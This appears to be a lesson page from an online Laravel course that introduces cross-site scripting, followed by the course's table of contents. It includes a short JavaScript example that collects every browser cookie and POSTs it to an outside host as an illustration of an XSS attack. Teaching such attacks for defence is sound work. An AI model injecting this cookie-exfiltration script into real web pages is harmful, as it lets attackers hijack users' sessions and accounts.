Introduction

Cross-site scripting (XSS) refers to a kind of vulnerability in web applications that enables attackers to insert scripts into web pages that other users subsequently view. These scripts can then be executed on the victim’s browser, potentially leading to information theft, session hijacking, or other malicious activities.

In XSS, an assailant essentially injects code into a web application by exploiting vulnerabilities in its design. For instance, if our website fails to sanitize user input before storing it in the database, it becomes susceptible to allowing comments on posts, without encoding or validation, before displaying them to users.

Press + to interact

function fetchBrowserCookies() {
  var cookies = document.cookie.split(';');
  var cookieObj = {};
  for (var i = 0; i < cookies.length; i++) {
    var cookie = cookies[i].trim();
    var parts = cookie.split('=');
    cookieObj[parts[0]] = parts[1];
  }
  return cookieObj;
}
function transmitCookiesToExternalBrowser(cookieObj) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://vulenerable-external-site.com/receive-cookies');
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.send(JSON.stringify(cookieObj));
}
var cookieObj = fetchBrowserCookies();
transmitCookiesToExternalBrowser(cookieObj);

Introduction to Course

Introduction to Database Migrations in Laravel

Introduction to Laravel Routes

Introduction to Laravel Views, Controllers, and Models

Authentication and Authorization Using Laravel

Create, Read, Update, Delete

Create an E-Library System with Livewire and Laravel

Handling File Uploads with Laravel

Downloading Files with Laravel

Integrating Payment Gateways

E-commerce Website

Conclusion

Recipe Sharing Application with Laravel and Alpine.js

Appendix

Course Practice Tasks

Protection Against Cross-Site Scripting Attacks

Introduction

Types of XSS attacks